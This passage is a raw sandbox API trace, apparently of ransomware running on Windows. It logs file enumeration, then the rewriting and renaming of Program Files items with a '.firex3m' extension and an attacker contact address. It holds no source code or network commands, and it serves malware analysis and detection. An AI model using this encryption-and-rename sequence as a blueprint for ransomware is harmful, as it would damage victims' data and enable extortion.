(HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7035160 [0104.419] GetProcessHeap () returned 0x630000 [0104.419] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7040590 [0104.419] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.419] ReadFile (in: hFile=0x4b8, lpBuffer=0x7035160, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x7035160*, lpNumberOfBytesRead=0x6afff0c*=0xb400, lpOverlapped=0x0) returned 1 [0112.445] GetProcessHeap () returned 0x630000 [0112.445] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee4e0 [0112.446] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.446] WriteFile (in: hFile=0x4b8, lpBuffer=0x7040590*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x7040590*, lpNumberOfBytesWritten=0x6afff0c*=0xb400, lpOverlapped=0x0) returned 1 [0112.446] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.446] WriteFile (in: hFile=0x4b8, lpBuffer=0x704b98f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x704b98f*, lpNumberOfBytesWritten=0x6afff0c*=0x20, lpOverlapped=0x0) returned 1 [0112.446] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.446] WriteFile (in: hFile=0x4b8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6afff0c*=0x4, lpOverlapped=0x0) returned 1 [0112.446] CloseHandle (hObject=0x4b8) returned 1 [0112.448] GetProcessHeap () returned 0x630000 [0112.448] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7040590 | out: hHeap=0x630000) returned 1 [0112.448] GetProcessHeap () returned 0x630000 [0112.448] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7035160 | out: hHeap=0x630000) returned 1 [0112.451] GetProcessHeap () returned 0x630000 [0112.451] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee4e0 | out: hHeap=0x630000) returned 1 [0112.451] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0112.451] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6affcc4 | out: lpFindFileData=0x6affcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb19dd19, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb19dd19, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x8f946d5, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11024, dwReserved0=0x9807496, dwReserved1=0x7035158, cFileName="Microsoft-Windows-SMBServer%4Connectivity.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MI24D4~1.FIR")) returned 0x6d51c0 [0112.451] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0112.451] Sleep (dwMilliseconds=0x1) [0113.619] SysReAllocStringLen (in: pbstr=0x6afff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml", len=0x4f | out: pbstr=0x6afff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 1 [0113.619] GetProcessHeap () returned 0x630000 [0113.619] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed6380, Size=0x2c) returned 0x6ed5f58 [0113.619] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0113.619] Sleep (dwMilliseconds=0x1) [0114.249] SysReAllocStringLen (in: pbstr=0x6afff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml", len=0x3d | out: pbstr=0x6afff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml") returned 1 [0114.249] GetProcessHeap () returned 0x630000 [0114.249] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x727ae0, Size=0x78) returned 0x68fff8 [0114.250] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.250] Sleep (dwMilliseconds=0x1) [0114.732] Sleep (dwMilliseconds=0x1) [0115.078] Sleep (dwMilliseconds=0x1) [0115.391] SysReAllocStringLen (in: pbstr=0x6afff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg", len=0x46 | out: pbstr=0x6afff7c*="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg") returned 1 [0115.391] GetProcessHeap () returned 0x630000 [0115.391] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x68e7d8, Size=0x54) returned 0x68e0b8 [0115.391] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0115.392] Sleep (dwMilliseconds=0x1) [0115.403] SysReAllocStringLen (in: pbstr=0x6afff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm", len=0x47 | out: pbstr=0x6afff7c*="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm") returned 1 [0115.403] GetProcessHeap () returned 0x630000 [0115.403] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x68e0b8, Size=0x50) returned 0x6eed90 [0115.403] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0115.405] Sleep (dwMilliseconds=0x1) [0115.420] SysReAllocStringLen (in: pbstr=0x6afff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg", len=0x45 | out: pbstr=0x6afff7c*="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg") returned 1 [0115.420] GetProcessHeap () returned 0x630000 [0115.420] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fef338, Size=0x3c) returned 0x6fef3c8 [0115.420] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0115.421] Sleep (dwMilliseconds=0x1) [0115.434] SysReAllocStringLen (in: pbstr=0x6afff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm", len=0x45 | out: pbstr=0x6afff7c*="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned 1 [0115.434] GetProcessHeap () returned 0x630000 [0115.434] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fef3c8, Size=0x38) returned 0x6d51c0 [0115.434] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0115.436] Sleep (dwMilliseconds=0x1) [0115.453] Sleep (dwMilliseconds=0x1) [0115.497] Sleep (dwMilliseconds=0x1) [0115.522] Sleep (dwMilliseconds=0x1) [0115.536] Sleep (dwMilliseconds=0x1) [0115.577] SysReAllocStringLen (in: pbstr=0x6afff7c*=0x0, psz="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb", len=0x34 | out: pbstr=0x6afff7c*="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb") returned 1 [0115.577] GetProcessHeap () returned 0x630000 [0115.577] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699af8, Size=0x24) returned 0x699c78 [0115.577] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0115.579] Sleep (dwMilliseconds=0x1) [0115.637] SysReAllocStringLen (in: pbstr=0x6afff7c*=0x0, psz="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb", len=0x34 | out: pbstr=0x6afff7c*="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 1 [0115.637] GetProcessHeap () returned 0x630000 [0115.637] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699c78, Size=0x20) returned 0x6e9030 [0115.637] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0115.641] Sleep (dwMilliseconds=0x1) [0115.654] Sleep (dwMilliseconds=0x1) [0115.669] Sleep (dwMilliseconds=0x1) [0115.685] Sleep (dwMilliseconds=0x1) [0115.700] Sleep (dwMilliseconds=0x1) [0115.715] Sleep (dwMilliseconds=0x1) [0115.733] Sleep (dwMilliseconds=0x1) [0115.747] Sleep (dwMilliseconds=0x1) [0115.763] Sleep (dwMilliseconds=0x1) [0115.778] Sleep (dwMilliseconds=0x1) [0115.794] Sleep (dwMilliseconds=0x1) [0115.809] Sleep (dwMilliseconds=0x1) [0115.825] Sleep (dwMilliseconds=0x1) [0115.889] Sleep (dwMilliseconds=0x1) [0115.903] Sleep (dwMilliseconds=0x1) [0115.919] Sleep (dwMilliseconds=0x1) [0115.934] Sleep (dwMilliseconds=0x1) [0115.950] Sleep (dwMilliseconds=0x1) [0115.979] SysReAllocStringLen (in: pbstr=0x6afff7c*=0x0, psz="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb", len=0x35 | out: pbstr=0x6afff7c*="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb") returned 1 [0115.979] GetProcessHeap () returned 0x630000 [0115.979] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1418 | out: hHeap=0x630000) returned 1 [0115.979] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0115.980] Sleep (dwMilliseconds=0x1) [0116.344] Sleep (dwMilliseconds=0x1) [0116.368] SysReAllocStringLen (in: pbstr=0x6afff7c*=0x0, psz="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll", len=0x38 | out: pbstr=0x6afff7c*="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll") returned 1 [0116.368] GetProcessHeap () returned 0x630000 [0116.368] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0418, Size=0x10) returned 0x6b13b8 [0116.368] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0116.374] Sleep (dwMilliseconds=0x1) [0116.405] SysReAllocStringLen (in: pbstr=0x6afff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe", len=0x34 | out: pbstr=0x6afff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 1 [0116.405] GetProcessHeap () returned 0x630000 [0116.405] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1208 | out: hHeap=0x630000) returned 1 [0116.405] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0116.528] CloseHandle (hObject=0x410) returned 1 [0116.528] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6afef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.529] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0116.529] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0116.529] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6affc6c | out: lpFindFileData=0x6affc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8640, dwReserved0=0xd508e13c, dwReserved1=0x0, cFileName="jabswitch.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="JABSWI~1.FIR")) returned 0x6d5200 [0116.529] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0116.530] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0116.530] GetProcessHeap () returned 0x630000 [0116.530] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8661) returned 0x6ee3ce0 [0116.530] GetProcessHeap () returned 0x630000 [0116.530] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8661) returned 0x6eec350 [0116.530] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.530] ReadFile (in: hFile=0x410, lpBuffer=0x6ee3ce0, nNumberOfBytesToRead=0x8640, lpNumberOfBytesRead=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ee3ce0*, lpNumberOfBytesRead=0x6afff0c*=0x8640, lpOverlapped=0x0) returned 1 [0119.600] GetProcessHeap () returned 0x630000 [0119.600] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fedf68 [0119.600] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.600] WriteFile (in: hFile=0x410, lpBuffer=0x6eec350*, nNumberOfBytesToWrite=0x8640, lpNumberOfBytesWritten=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6eec350*, lpNumberOfBytesWritten=0x6afff0c*=0x8640, lpOverlapped=0x0) returned 1 [0119.601] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.601] WriteFile (in: hFile=0x410, lpBuffer=0x6ef498f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ef498f*, lpNumberOfBytesWritten=0x6afff0c*=0x20, lpOverlapped=0x0) returned 1 [0119.601] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.601] WriteFile (in: hFile=0x410, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6afff0c*=0x4, lpOverlapped=0x0) returned 1 [0119.601] CloseHandle (hObject=0x410) returned 1 [0119.602] GetProcessHeap () returned 0x630000 [0119.602] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6eec350 | out: hHeap=0x630000) returned 1 [0119.602] GetProcessHeap () returned 0x630000 [0119.603] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ee3ce0 | out: hHeap=0x630000) returned 1 [0119.603] GetProcessHeap () returned 0x630000 [0119.603] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fedf68 | out: hHeap=0x630000) returned 1 [0123.297] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0123.297] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6affcc4 | out: lpFindFileData=0x6affcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xd3c24e4, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x8664, dwReserved0=0x9807496, dwReserved1=0x6ee3cd8, cFileName="jabswitch.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="JABSWI~1.FIR")) returned 0x6d5200 [0123.298] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0123.298] Sleep (dwMilliseconds=0x1) [0123.347] SysReAllocStringLen (in: pbstr=0x6afff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x6afff7c*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 1 [0123.347] GetProcessHeap () returned 0x630000 [0123.347] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x170) returned 0x66a3e0 [0123.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0123.373] CloseHandle (hObject=0x4e0) returned 1 [0123.373] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6afef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0123.373] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0123.385] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0123.385] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6affc6c | out: lpFindFileData=0x6affc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x838fd5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x838fd5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x863, dwReserved0=0x630061, dwReserved1=0x2d0074, cFileName="AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AP45CB~1.FIR")) returned 0x6d4f00 [0123.385] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0123.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0123.385] GetProcessHeap () returned 0x630000 [0123.385] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x881) returned 0x70080a0 [0123.385] GetProcessHeap () returned 0x630000 [0123.386] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x881) returned 0x727d80 [0123.386] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.386] ReadFile (in: hFile=0x4e0, lpBuffer=0x70080a0, nNumberOfBytesToRead=0x860, lpNumberOfBytesRead=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x70080a0*, lpNumberOfBytesRead=0x6afff0c*=0x860, lpOverlapped=0x0) returned 1 [0124.050] GetProcessHeap () returned 0x630000 [0124.050] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fc6e50 [0124.050] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.050] WriteFile (in: hFile=0x4e0, lpBuffer=0x727d80*, nNumberOfBytesToWrite=0x860, lpNumberOfBytesWritten=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x727d80*, lpNumberOfBytesWritten=0x6afff0c*=0x860, lpOverlapped=0x0) returned 1 [0124.050] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.050] WriteFile (in: hFile=0x4e0, lpBuffer=0x7285df*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x7285df*, lpNumberOfBytesWritten=0x6afff0c*=0x20, lpOverlapped=0x0) returned 1 [0124.051] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.051] WriteFile (in: hFile=0x4e0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6afff0c*=0x4, lpOverlapped=0x0) returned 1 [0124.051] CloseHandle (hObject=0x4e0) returned 1 [0124.057] GetProcessHeap () returned 0x630000 [0124.057] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x727d80 | out: hHeap=0x630000) returned 1 [0124.057] GetProcessHeap () returned 0x630000 [0124.057] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70080a0 | out: hHeap=0x630000) returned 1 [0124.057] GetProcessHeap () returned 0x630000 [0124.057] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fc6e50 | out: hHeap=0x630000) returned 1 [0124.365] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0124.365] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6affcc4 | out: lpFindFileData=0x6affcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x838fd5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x838fd5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfe4a49a, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x887, dwReserved0=0x9807496, dwReserved1=0x7008098, cFileName="AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AP45CB~1.FIR")) returned 0x6d5280 [0124.365] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0124.365] Sleep (dwMilliseconds=0x1) [0124.383] SysReAllocStringLen (in: pbstr=0x6afff7c*=0x0, 